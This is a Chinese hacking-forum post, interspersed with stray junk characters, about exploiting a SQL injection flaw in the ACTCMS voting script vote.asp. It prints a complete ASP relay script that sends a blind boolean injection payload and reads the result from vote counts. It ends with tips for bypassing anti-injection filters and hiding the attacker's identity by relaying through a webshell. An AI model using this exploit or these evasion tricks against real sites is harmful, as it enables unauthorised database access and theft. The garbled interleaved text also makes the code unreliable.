4 `# i' B" v7 Q T
看到ninty大牛的blog的一篇文章
+ a8 C; C" b4 y* N# K链接标记[url]http://www.forjj.com/?action=show&id=80[/url]$ z7 y' e6 I# t7 l' _8 u2 |
关于actcms漏洞的利用 by 3x qq:381862589
, b' r1 E- g% o6 d转载请注明以上
0 d [( V8 m% {# q漏洞文件:
: o0 t# k0 @* C/ Z7 A* d/plus/vote/vote.asp
- \! n, A, ?+ U9 [: p$ U代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
3 S# d4 y! o: [+ w" q3 e" [% m$ k) E8 C! Y# S
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" " w4 R& K. S- `
( W8 h2 K& d, Y+ K1 b3 response.end ' p" v7 d4 p/ H+ K
8 x* ^+ }& O/ l/ [
4 end if
5 |- t2 @) p" O2 ]8 N7 ^
4 ?' v0 V% ?+ ?, @" A5 for i=1 to request("voted").count
- E! ~( U ^/ C5 I2 R. X7 [4 `8 x9 Q3 `6 k: C# q! \# |3 C! C
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
5 F$ d9 H8 u* M0 @5 Y8 D8 `9 ~0 Q
7 next
( s" O- A# h9 c' h: ?1 T" T7 u F- X- E
8....
: Y3 V5 T8 ]0 w- Z' W# `, q( X7 m
9response.Redirect "index.asp?id="&id&"" ( U# q- r8 l b. G$ k1 T
投票结束回跳转回index.asp这个投票结果页面
+ S/ l' X* y3 o O! ?" n如果投票成功票数加1
" W- i; Y9 |" E; d5 ] 失败票数不变" R; w4 o' H* v k
如图:* n, g2 ?: ^3 J2 j9 u7 O3 N" z0 Y
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB), ?8 m9 R/ E% l! d5 J7 ?
( p* Q% D* \ G" R( S% w
2009-12-27 13:20* m# s+ j) v+ {9 D
2 W$ J* O# M8 o: D. e
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了. f0 d( p$ {; P7 r7 i
: \4 p. P% Z8 c: E' c" }- g
本帖隐藏的内容需要回复才可以浏览
, S( d3 b+ ~& R# f- B2 a! ]" N我们用注入中转来实现这个注入具体代码如下:
; T6 q& R/ n. f* \! O先用寂寞的刺猬大牛的注入中转生成jmget.asp- G- e: C' H ^8 @* u
注入地址:http://localhost/actcms/plus/vote/vote.asp' R4 A; { E/ D, F
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项3 }: L ]. Q9 m
* M. s( Y( I; ]3 K1 W, B& i
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
! H8 a+ x$ h5 C( a( L+ W. ~% t; Y7 W
02JmdcwName=request("jmdcw")
9 Z" e% k) s; R/ k
& s. L& U& r; f, g `! p03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] w6 d, o4 }2 Q$ u; b4 z$ d* S2 E
, X+ K4 }( {8 v8 J% D+ x04JmStr="id=1&voted=-1 or 1="&JmdcwName
9 n9 a9 c, {7 D# H0 I0 G5 S
+ m/ i2 H! G0 n0 y! j- W/ }& X05JmStr=URLEncoding(JmStr) 6 ~5 z; n* e5 I5 R
7 t0 h) _4 Y0 M% ~: `06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"4 [/ w) m5 J2 k
_- S9 i8 v) w. S' u* K& t) W7 e07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"5 P! ]9 ]) q8 a4 _5 [
, o( D9 l# c1 C0 o% } t) ]: G3 D
08testurl=testurl & "?" & JmStr
+ L8 s; W- v/ P, v5 l% a, @
. I: K8 c6 z; Z) x1 v. s2 |09JMUrl=JMUrl & "?" & JmStr
: v8 R% [6 Y# K4 R( b) |1 ?- S" m5 d& I5 H: f" w$ b: `/ ^( y8 l! e
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"3 s: `" q( q% t, e; L% n
$ Y7 b6 h! g7 {1 e0 u
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
5 x! N/ D5 p' p# k' S( U' F
, P# J& ?. T9 J1 a3 d& R* @/ W5 h6 s7 V12JmCok=replace(JmCok,chr(32),"%20")
+ p: w' G+ c' h" Q
2 `+ Z5 {2 M* U" L( a( ]0 N( w1 |13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
2 `1 v; ^' l- j# Y5 x7 k
) b, |, A8 c9 ~14
- x" h& Y# W3 a- _( _( b$ X3 X+ t/ {/ _- [5 p0 m/ [2 W0 _( f
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 - e4 i+ C# _. q$ U
|1 `) r( B0 Q# O9 o+ Y16 " y( M5 l7 b5 T+ u, I1 J V; }- @
' U6 F- _: C+ a% F3 K/ t2 q/ r17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
0 C' T9 a) `3 W( u; h
+ V" c' ]' K( s1 E8 N18response.write test1&""&test2&""" a# e' Z3 w0 _% V
; u; W$ \* |5 q& `! j/ ~19 / d) [ f* }. `+ u9 R4 ^* Q
8 a- H" d! m/ {" X
20if test1=test2 then '如前后记录相等,表示失败
+ t& R& M3 s) B+ U0 B
, S/ }% }: _8 {2 D, Y21 response.write "failed"
$ P+ J% v4 k1 W8 X' H w' a2 `# p4 T: k: M4 e
22else ' P# ~( s6 q0 n" x
! o* Y% w) O* {4 Z& J! N9 r23 response.write "succeed"
, r0 @! J: a) w% c. y5 c) _0 E. K. W5 z* B5 x( q6 n. i
24end if % D- {3 i/ G \$ c4 m2 t7 F. T
& l- r3 v/ e# H: T) d9 D25
( n: C1 j! s# b" L" n0 D
6 g; c) o2 I$ F26response.write "by 3x"
- W# n+ Q* r, c) N$ O2 _+ K
! B4 N6 P. W7 V( ~7 p; G4 x9 C6 _2 x27 - t# Q, S, u) K3 r3 `$ q- C( w8 R
/ h: P! b& y( Q
28 ) O% [; |# b4 R7 E
# ^% \1 q1 V2 I! w% r& X% ]
29Function PostData(PostUrl,PostStr,PostCok,PostRef) 7 l9 k# j$ ?& E
?) c& @8 z6 s, r0 D, T30Dim Http . z e1 h) ?* p7 u3 Y z
$ Q, U8 U3 f$ B- g' { k' }3 k- E31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") % M8 |$ J0 G/ \* Z* c& l
8 r. H) U B1 b" u# L
32With Http
0 l; P3 k2 B1 {, l0 i' L
2 ?/ }- q: u. n; N' [33 2 `4 z( X+ Y! g. ~. j& _. ` r
- g: t/ X- [2 A( J; @
34.Open "GET",PostUrl,False
# T' R6 g. P" s& ]: \1 e0 `8 ?# X* _( t1 u
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
9 d8 S' l2 ]$ `/ j( Z3 Z$ s4 @/ f2 R
36.SetRequestHeader "Referer",PostRef
h& _4 e2 l1 N) S% ~
* K, Z- M6 s* y37.SetRequestHeader "Cookie",PostCok
8 B3 i$ A+ C- ]3 m6 x1 t4 Q3 D% P! N3 F+ Y. s4 _) s
38.Send ()
/ R: f( k) `, G: r
4 ~- k! p& k$ k. `# L# H39PostData = .ResponseBody . x- Y% u6 ~. g' c3 F
# B3 g% N7 n; d9 G) K; ?5 M+ m
40End With
& {5 V: p9 T& \# }1 f: b3 C- o6 n- E; P" u/ E1 k4 v3 y8 [5 _5 A' d
41Set Http = Nothing
, e" L: I0 n2 @3 T r+ X
& m$ `$ u; p7 I! H42PostData =bytes2BSTR(PostData)
8 _4 o/ c# B, k+ p. B5 ^" S
3 C8 H* x. n" T' E) b- i9 B43End Function
1 \8 N- ^$ O5 [& }1 g, G K/ L3 M7 c5 N. @+ \
44
: M; B/ _5 }+ b1 @/ y5 S8 \2 }" ~- ?6 c4 W P% c; h8 @7 y
45
7 T3 r( p! R6 |8 m) d# T$ i8 X. @# i6 D; E
46Function bytes2BSTR(vIn) . ^( W+ `: O- ?6 t- Z' l2 a: Y
9 w! B) x) T8 N4 i9 `
47Dim strReturn u m( n3 z( w+ \+ u8 {( Y
! A- P; u# P3 R* A48Dim I, ThisCharCode, NextCharCode
( e+ m4 h$ z( S( b, l3 v6 W( ]2 e
49strReturn = ""6 j. i+ c0 b* r3 b3 l! w
8 F& p- \; [, c; h, b50For I = 1 To LenB(vIn)
4 J+ f ]1 G) ~* v S8 Z" R; G) t+ h" y4 O; a, i# i# ~
51ThisCharCode = AscB(MidB(vIn, I, 1))
/ n, }0 k3 N) \
7 H& h" p; i$ D; }* \: W3 U52If ThisCharCode < &H80 Then3 {6 Q4 u U2 _5 N' A, `/ Y1 s
( s+ G* i* ]) _+ h1 V4 o: P53strReturn = strReturn & Chr(ThisCharCode)
+ a. q% I; b( A& h4 C1 d& f/ ~3 z2 f" p! x
54Else* F- f/ t+ x, b- J
3 T( [5 N8 J( {' ]2 K% b! b/ s$ B55NextCharCode = AscB(MidB(vIn, I + 1, 1))
6 j# a; {. }2 j, A+ `, _; z4 s$ _+ u1 Q% c/ O" }
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
# N4 O; e8 ^7 v
% n8 A; q' Z; ~+ {; {+ [57I = I + 1 % y0 f& E, }; ^( `
5 a; j$ n! S9 A$ B* L58End If! o% s9 X: n9 R0 g" u
+ Z# o- `- `( i1 p
59Next$ d" B/ W* S! V+ @& b$ R: H
; R* s4 f* H" @# Z" V
60bytes2BSTR = strReturn
! m2 a' S' A6 p; I. _, b2 C/ e( ^- z# G3 D6 K3 ~: [2 h
61End Function
: M# s* q$ V2 ^4 @5 D& Y/ `; }7 w
62
) N! W) R( A0 n0 C$ y- E6 l6 y/ h3 {! b! H0 m6 X/ A( \& M
63Function URLEncoding(vstrin)
8 r6 E' a! n$ ]
2 a5 _" G* V: I2 K$ x64strReturn=""
. b: a# W1 M7 p1 S
- v ^8 M: R. B7 o5 s65Dim i
4 `5 o) U# w. o& e
# u) B: _$ o3 n' m2 \& \66For i=1 To Len(vstrin) ; A1 {0 u; L0 J* ?7 V. J: m. ]
% U: r2 l/ x5 {67ThisChr=Mid(vstrin,i,1)
8 U& C. ^6 U0 M0 g) c' H J) Q: S* B. b2 k4 ~7 \
68if Abs(Asc(ThisChr))< &HFF Then
R* H' u/ w* c0 C- E. I3 b
; [0 Z8 ^ }" V2 E! Y" g; k9 l; O69strReturn=strReturn & ThisChr
7 |$ r' O$ D' S9 l( q1 E: {, y; ^ {& B; \$ X
70Else
# f9 _8 e% E0 }; r$ W" E" O E# I& @. y; T
71InnerCode=Asc(ThisChr) 9 j n: E5 O9 M8 r7 J% y8 _
5 g1 R! j' W1 ?8 U3 i3 Q$ ]72If InnerCode<0 Then
2 D3 ^, a2 Z; C# S) Q# o$ f$ j! p5 {0 b3 m) |
73InnerCode=InnerCode + &H10000
7 m, W; R8 I) ^5 ]8 }7 S1 q8 b$ W; S
74End If6 f! k3 G" o& f4 ]
% f: v, v0 b2 {7 G) Z% w75Hight1=(InnerCode And &HFF00) \&HFF ) u5 \5 D V% E. w
8 N" |/ K5 K+ c
76Low1=InnerCode And &HFF
& w( U7 Z0 c" }* a8 G% {/ i1 B4 h A1 I2 C J' N
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
# A u9 G( L) i( H" {0 C, v0 j+ t: g
78End if
4 W: U; K2 R$ K# y L( M: }! s+ W6 X2 r6 j2 P0 o
79Next
1 W$ D6 r5 c& V
; k; ?* {0 G( O1 X# c8 I80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 : A# J& @( r% K5 ~* e, _
. X5 e3 X* K# v6 [. q1 Q: f: H
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 7 f* A8 R8 h) b
+ I. _8 s/ F$ Q6 e6 ?/ D/ L
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
+ g$ j9 P7 ] T" ]6 W- _ O( n% U4 C7 V1 J; p/ v4 @
83URLEncoding=strReturn # ?* [+ w' M |8 i$ x M
5 m6 @( z8 k( L% X84End Function
) a3 U0 `3 h7 o9 b" V% |) ^2 b8 X1 X9 _# V! H# o# q
85
( ^; Z5 e/ ~' s( J+ q2 T
5 _; u5 o- I, [86function getSt(body)
/ ?5 k* p( e/ f" d/ q+ n: o% E) a7 z3 [6 @: X5 `
87 startpot=instr(body,"投票人数:")+len("投票人数:") 6 Y, |7 M7 a& j" t8 T2 {
7 K$ B, z c! w' ?4 P: z0 p88 endpot=instr(startpot,body," ") 2 }; N5 \9 Y2 ?+ A
% p% L. k7 O6 y9 O5 _# U
89 getSt=mid(body,startpot,endpot-startpot)
$ K8 ~$ ^5 _- n# ]6 W/ t
3 h+ v4 X% ~: D+ d6 {/ {& e3 z0 t90end function ( k, p' [/ V# ~4 Q @! W3 I' u: c
% o0 a& v6 L% O; u/ ~# [9 q
91%>7 P9 c& q0 n" F7 q/ E! X4 U, y
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了) G4 D# Q0 W- j h
测试下效果:
0 B! E/ H$ t6 x7 M投票成功:
* q& B/ V. L. jhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
% u }4 B9 S! x$ T6 H8 }) R5 T: ?! u( I+ \7 `
2009-12-27 13:29* N4 N8 i# I Q; Y- M4 j& m
投票失败6 V/ O1 n5 F- I) ~8 t" d' B
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
# p2 H/ p" f0 Y: ^% N5 G
- S7 }# r! ]. [- N9 E% ?2009-12-27 13:29
, q, X- |+ i( c' e-------------------------------------------------------------------------------% J' ]3 x0 n, E( o2 U( P3 ^
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以( q! H- [$ w& K# h
很抱歉。。。只能用单线程工具去注入。。。。。* U n9 I z0 r3 x
所以失败。。。不好意思。。。
) d! P0 K) T g' E# b-------------------------------------------------------------------------------! v" f5 R6 w. j/ j% M
8 d* b8 g% b# m! x7 A% T X# `5 e注入中转的一些其他应用
& ]8 Y$ U2 X/ U7 M% U其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
2 ]0 h! W7 D- z; L1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
) \" U' R4 o5 y% V7 i, \& c2.post注入转成get型的注入,方便我们使用工具来跑5 h) H4 T, A% a7 l) K
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"): h7 d, V# H2 ?+ z' M) c
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
/ Z+ D; _1 }) k, C( O6 X( ?2 U9 z/ F+ l- h* y3 w+ c- |; p0 z Y
|